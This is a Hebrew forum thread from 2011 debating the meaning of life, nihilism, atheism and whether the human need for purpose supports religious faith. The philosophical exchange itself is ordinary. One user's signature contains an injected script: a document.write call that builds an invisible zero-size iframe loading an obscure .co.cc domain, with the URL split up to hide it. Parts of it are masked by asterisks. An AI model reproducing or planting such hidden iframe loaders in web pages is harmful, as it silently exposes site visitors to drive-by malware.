בית פורומים עצור כאן חושבים

בשביל מה אנחנו חיים?? –לייתכן

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-3/11/2011 00:31 לינק ישיר 

ליהיאור
כתבת נכוחה, פרט לנקודה אחת עליה אני רוצה לעמוד - היטלר וסטאלין לא היו בשום פנים ואופן נהיליסטים וכמו כן (אני מקדים תרופה למכה) פשעיהם לא נבעו מאתאיזם. ניהיליזם פירושו להעלות על נס את חוסר הערכים (רק לי זה נשמע פרדוקס שחוסר ערכים הופך להיות ערך?). אל תשאל אותי איך זה נראה במציאות לא מכיר אף ניהיליסט אמיתי. רוב אלו שקוראים לעצמם ניהיליסטים הם בעצם נהנתנים השמים את ההנאה כערך.
להיטלר היתה מערכת ערכים ברורה וגזענית הקרויה נאציונל סוציאליזם או בקיצור נאציזם. לסטאלין היתה מערכת ערכים ברורה ודכאנית הקרויה קומוניזם וכן פרנויה קלה עד חמורה.
לעניין ההערה שפשעיהם לא נבעו מאתאיזם - אתאיזם כשלעצמו לא אומר דבר פרט לכך שלא מאמינים באל הדתי. לפיכך מעשיהם לא נבאו מאתאיזם אלא מהאידיאולוגיות שלהם. בנוסף ניתן לראות לאורך ההיסטוריה כי אמונה באל לא מנעה פשעים כי מי שרוצה לפשוע יעשה זאת בכל מקרה, אפילו בשם האל.



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/11/2011 00:43 לינק ישיר 

ידוע הסיפור על האכר הסיני העני שמצא שתי פרוטות וקנה באחת מהן קערית אורז ובפרוטה השניה קנה פרח.

כאשר נשאל מדוע לא שמר את הפרוטה השניה למחר כדי לקנות לעצמו עוד קערית אורז  ענה:את האורז קניתי כדי להתקיים ואת הפרח קניתי כדי שיהיה למען מה לחיות.
בשאלת מטרת החיים לכל אחד יש את הפרח שלו ואין תשובה אחת שמתאימה לכולם כפי שאומר ויקטור פראנקל מחבר הספר:"האדם מחפש משמעות":

-" פשר החיים - שונים בכל אדם ואדם ובכל רגע ורגע. לפיכך אי אפשר להגדיר את פשר החיים באופן כללי. אין להשיב על שאלות בדבר פשר החיים בהצהרות כוללות "



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/11/2011 06:50 לינק ישיר 


ראו מכתבו היפה מאד של ליבוביץ בעניין, הראשון בספרו "רציתי לשאול אותך פרופ' ליבוביץ" (עמ' 15-17) 



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 08:31 לינק ישיר 

הוא אה

ברוך הבא אל הפורום!

תודה על השיר שמגלם כל כך יפה את הגישה הניהיליסטית, אם כי "בהחבא". לא שמתי לב למסר שטמון בו עד היום. זה יכול להיות נושא בפני עצמו, מסרים בשירים ילדים. משהו בסגנון זה כתב ארי אלון ביחס לשיר מפורסם של ביאליק, אם כי שם הגזים מאד (האם "נד נד, מעלה מטה" הוא שיר אפיקורסי?) אבל יצאתי מן הענין.

אני מפנה לספריו של קורט וונגוט שלדעתי היה ניהיליסט, כפי שהדברים נראים מעלילותיו (ובמיוחד מ"עריסת חתול", כנראה המוצלח שבכולם).

***
תוהה (בלשון לעז)

ברוך הבא אל הפורום!

יש גישה פילוסופית שמנסה למצוא ולהצדיק את הדת מתוך כך שהיא מעניקה (בפרשנויות מסויימות שלה) טעם לחיי האדם. כמובן, לא כל הדתות עושות זאת. וכמובן, זה שאני צמא לא מוכיח שיש מים שיכולים להרוות אותי. כפי שכבר כתבו כאן. אבל ניתוח של הצרכים האנושיים בשילוב של הנחת יסוד שאנו נבראנו כך יכול גם יכול להוביל לחיזוק התחושה שיש טעם בדעת וגם אמת. הוכחה במובן החמור? לא. חיזוק ואישוש? מסתבר מאד שכן. והשאר זיל גמור (=צריך ללכת וללמוד).


(נוספה ברכה שכמעט נשכחה)

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 03/11/2011 08:32:01




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 13:30 לינק ישיר 

 

יהי,

1.      אין ענין למצוא פירוש למילה "דת". כולנו יודעים למה מתכוונים כשמשתמשים בביטוי. אם הבנת המצוות מעקרת את "ענין" הדת, שיהיה. זה לא רלוונטי, אא"כ העיקרון הדתי יאמר כי מעשה מובן אינו רצוי, או אינו ממלא את תפקידו הדתי.

2.      מה בדיוק ה"משמעות" במשהו שהוא לא באמת קיים, אלא הומצא כדי לתת משמעות?

3.      אתה חוזר על הכשל שבטיעון, "אם יש צורך בתכלית, הרי שיש תכלית". יש לי עכשיו צורך בהרבה כסף, זה אומר שאכן יש לי, או מבטיח שיהיה לי, כסף?

4.      לא פירטת איך הצורך בתכלית "מוכיחה את התשובה הנכונה אליה, בדיוק כמו שבמקום של הפיזיקה השאלות שיש מוכיחים את התשובות שלהם".

5.      אתה כותב שהצורך הוא הסיבה להאמין. וכי אדם רציונלי יכול שיאמין בדבר מה רק בגלל שיש לו צורך בו? נניח שיש לי צורך להיות האדם הכי יפה בעולם, זה יהיה הגיוני שאאמין בכך (שלא למטרת דמיון מודרך)?

6.      הדת סובלת מאותה בעיה של אי ידיעה מה אלוהים רוצה. אלא מאי? אנשים החליטו זאת על דעת עצמם. הוא הדין במוסר האוניברסלי. כמו בדתות גם כאן יש דעות שונות. אמץ לך אחת מהן כפי שבחרת בדת משה וישראל.

7.      הגדרת המוסר סבירה יותר ומתבססת על טיעונים הלקוחים מעולמנו. אין לה מחויבות לכל טקסט שנכתב אי פעם על ידי מי שספרו זכה (בהשגחה פרטית) לתפוצה מתאימה.

8.      השוואתך את הצורך בתכלית לצורך בהסברת תופעת פיזיקליות אינה רלוונטית. בכל מקרה, כאמור, הצורך בתכלית לא יוצר תכלית, כפי שהצורך בהסבר לתופעה כלשהי לא יגרום לנו לומר הסבר שאין לנו שום הוכחה לנכונותו.

9.      אין קשר בין תכלית למשמעות. נכון, תכלית יש בה כדי לתת משמעות. היא גם יכולה להיות חסרת משמעות עבור מישהו ותיאורטית התכלית יכול להיות שהתכלית היא דווקא כזו שלא תהיה משמעות כלל.

משמעות אינה נזקקת לתכלית מחוץ למשמעות.

10. אני מבין את הצורך במסגרת. אני פחות מבין את הבחירה במסגרת כזאת שאף נוצרה ופותחה בעיקר, על ידי מי שהאמינו בכל ליבם שמדובר במשהו "קדוש" ולא רק במסגרת.

11. כאשר אתה מתבסס על הצורך במסגרת, אין שום סיבה להיצמד דווקא לאותה מסגרת הסובלת מפער עצום מתרבות זמנינו.

12. החוק לא מאמלל לעולם אנשים מיזמתו. ברור כי ילדים לאב רוצח סובלים ממילא. זו מוגבלותנו כאנשים. ידוע לך בוודאי הפירוש על הצור תמים פעלו. הדת כן עושה זאת. אינך עונה מה אתה אומר לאותה עגונה. לשבת בדד או להתחתן (עם מי שיסכים).

13. "אם אין לאדם משהו שהוא מוכן למות בשבילו אין לו גם משהו לחיות בשבילו", חידוד נאה, חסר משמעות לחלוטין.

14. אין שום הוכחה כי הדת הוא פקטור משמעותי ביצירת פלטפורמה ידידותית ליחסים בין אנשים ו/או עמים.

15. אינך חייב לענות. האם באמת אין לך "נערווין" (במובן הבסיסי, לא הפתולוגי) סביב קיום המצוות, האם אם בנך יבחר ח"ו בדרך אחרת והוא יהיה מאושר זה לא יפריע לך?

16. עוד נקודה שהיא אולי העיקרית בכל הדיונים הללו. כתבתי זאת בעבר כמה פעמים וקולמוגרוב כתב זאת לאחרונה באשכול סמוך. מה המוטיבציה העניינית לכל ההידחקות הזאת.

אם יורשה לפרש את שאלתו, אין הכוונה למוטיבציה בדיונים, אלא למוטיבציה הנפשית להיגרר לכל ההרפתקה הפסאודו אינטלקטואלית הזאת.

האם זו אכן מסקנהכתוצאה מחשיבה חופשית, או שהכול תוצר של מאמץ לנמק ולהסביר את דת השכונה בכל מחיר.




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 13:42 לינק ישיר 

ייתכן כתב:
 

16. עוד נקודה שהיא אולי העיקרית בכל הדיונים הללו. כתבתי זאת בעבר כמה פעמים וקולמוגרוב כתב זאת לאחרונה באשכול סמוך. מה המוטיבציה העניינית לכל ההידחקות הזאת.

אם יורשה לפרש את שאלתו, אין הכוונה למוטיבציה בדיונים, אלא למוטיבציה הנפשית להיגרר לכל ההרפתקה הפסאודו אינטלקטואלית הזאת.

האם זו אכן מסקנהכתוצאה מחשיבה חופשית, או שהכול תוצר של מאמץ לנמק ולהסביר את דת השכונה בכל מחיר.



ומה המוטיבציה שלך, ייתכן, לעסוק כל כך הרבה זמן בשכנוע הפוך ? קח תרמיל וצא לדרך.

אלא כולנו, גם אתה, לא יכולים להיפרד מהנושא מפני שהוא עצם מעצמנו ובשר מבשרנו. האמת ברורה לנו, והיא לוחצת ומכאיבה. יש שמנסים לזרום איתה ויש שמנסים לשחות נגד הזרם (לדעתי, שחיה אבודה), אבל כולנו לא יכולים להיפרד ממנה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 13:47 לינק ישיר 

שותפיסוד כתב:
 

ומה המוטיבציה שלך, ייתכן, לעסוק כל כך הרבה זמן בשכנוע הפוך ? קח תרמיל וצא לדרך.


אשתמש בלשון הזהב של רבינו:

אם כל השאלות.





דדווח על תוכן פוגעני

מחובר
נשלח ב-3/11/2011 13:51 לינק ישיר 

לשניכם אין כנראה את המוטיבציה הנדרשת להבנת הנקרא.
כתבתי במפורש (שותפי אף העתיק זאת) שאינני מתייחס לשאלת המוטיבציה להדיין, אלא לשאלת המוטיביציה להיקלע לכל הסמטאות אליהן מובילה הדת ולהתעקש לטעון כי אלו שדרות מוארות



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 13:54 לינק ישיר 

ייתכן כתב:
לשניכם אין כנראה את המוטיבציה הנדרשת להבנת הנקרא.
כתבתי במפורש (שותפי אף העתיק זאת) שאינני מתייחס לשאלת המוטיבציה להדיין, אלא לשאלת המוטיביציה להיקלע לכל הסמטאות אליהן מובילה הדת ולהתעקש לטעון כי אלו שדרות מוארות


לא מאמין שאתה כותב בצורה כל כך חד צדדית.....

אני הייתי מגדיר את המוטיבציה שלך כנסיון לברוח ככל שניתן מזעקות האמת הפורצות מעמקי נשמתך המיוסרת.



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 14:01 לינק ישיר 

לשאלה האחרונה שסביבה התפתח דיון כרגע.
ייתכן אתה לוקה בהנחת המבוקש. לדעתך הדת שגוייה ואין שם סיבה לנמק אותה. וממילא אתה מתפלא על מי שחושב שהיא לא שגוייה. ומתאמץ לפרש אותה או להסביר אותה. מה לעשות שזו עדיין שאלה שלא הוכרעה בהחלטיות, כמו שאתה בטוח שהוא שקר כן אנשים אחרים בטוחים שהיא אמת, או שיש בה אמת. וממילא שאלתך לא שאלה בכלל. 
בקיצור שאלתך נובעת רק מההנחה שאמורה להיות המסקנא של הדיון לא נקודת הפתיחה שלה. [ההנחה שהדת שקר. היינו שאין דרך להגיע אליה מחשיבה פתוחה] וכשל זה ישנו בהרבה משאלותיך למי שמשים לב. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/11/2011 14:13 לינק ישיר 

טעות בידך.
כאשר מישהו צריך כל הזמן להסביר ולהצדיק נשאלת השאלה מה המוטיבציה.


תוקן על ידי ייתכן ב- 03/11/2011 14:14:01




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 14:16 לינק ישיר 

אני עונה לעיקר הטענה כאן.
איך זה שאני חושב שיש תכלית מוכיח את קיומו של משהו?
ואני שואל אותו שאלה, איך קיומו של תופעה פיזית לא מוסברת מוכיחה את קיומו של סיבה אליה, אחרי כל ההוכחות לנכונות למציאות הסיבה ההיא? איך העובדא שכל הדברים נופלים למטה מוכיחה את קיומו של כח המשיכה? וכו' וכו'. 
אלא כשם שאנחנו בטוחים בשכל שלנו שאם משהו מוכח מתוך המציאות שהוא קיים. כן אנחנו יכולים להיות בטוחים בדרישה שיש בנפשנו לתכלית/משמעות שאם נבקש את התכלית הזאת ונעמת את הפתרונות המוצעים עם הוכחות, היינו הוכחות שלקוחות מעולם הצורך של האדם לתכלית. שנוכל להוכיח את קיומו של התכלית הזאת. 

ההבדל בין הצורך לכסף ובין הצורך הזה פשוט שזה צורך פיזי ובעולם הפיזי צריכים סוג של הוכחות אחרות לקיומן של דברים. וזה צורך פילוסופי קיומי שלזה צריכים סוג של הוכחות אחרות. היינו הוכחות קיומיות פילוסופיות. \
[תשאל מה עם מי שמגיע לדת אחרת וכו', לא קשה, ואכ"מ] 

אני משתמש במילה תכלית כשווה למשמעות. כי החלוקה ביניהם נובעת רק מהחלוקה המוטעית שבין הצורך הקיומי לבין העולם הקיים. ואני טוען שכשם שאנחנו מניחים התאמה בין העולם לבין "צרכינו הרציונליים" היינו שמקשרים הסיבה עם המסובב וכו'. כן יש לנו להניח התאמה בין העולם לבין צורכינו הקיומיים. בשניהם צריכים לבדוק עצמנו מטעויות והיסקים מוטעים כמובן. החלוקה שבין משמעות לתכלית הוא רק אם לא מקבלים את ההתאמה הזאת. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/11/2011 14:18 לינק ישיר 

ייתכן כתב:
טעות בידך.
כאשר מישהו צריך כל הזמן להסביר ולהצדיק נשאלת השאלה מה המוטיבציה.


תוקן על ידי ייתכן ב- 03/11/2011 14:14:01


\
יפה שאתה מחליט שטעות בידי. ועוד יותר יפה שאתה לא עונה על הכשל הבסיסי בטענות שלך. 

כל שיטה שבעולם צריכה הסברה והצדקה-למי שדורש הבנה שכלית. 

אם הסברה הוא הוכחה לאי נכונות הדבר לך אצל הברסלבים וכו' ששם לא צריכים להצדיק או להסביר שום דבר ממילא מוכח שהם צודקים..



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/11/2011 14:19 לינק ישיר 

ייתכן כתב:
כאשר מישהו צריך כל הזמן להסביר ולהצדיק נשאלת השאלה מה המוטיבציה.


כאשר מישהו חי חיים כפולים, וראשו סותר את לבו, נשאלת השאלה.
אפיקורס אמיתי לא מסתובב בעצכ"ח, הוא עובר לכפר שמריהו.
כאן מסתובבים רק המסובכים ואלה שרוצים לעזור להם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2011 14:22 לינק ישיר 

שותפיסוד כתב:

כאן מסתובבים רק המסובכים ואלה שרוצים לעזור להם.

ואלה שרוצים לעזור ל"עוזרים" ולסבך אותם..



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > בשביל מה אנחנו חיים?? –לייתכן
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 5 6 7 לדף הבא סך הכל 7 דפים.

bholext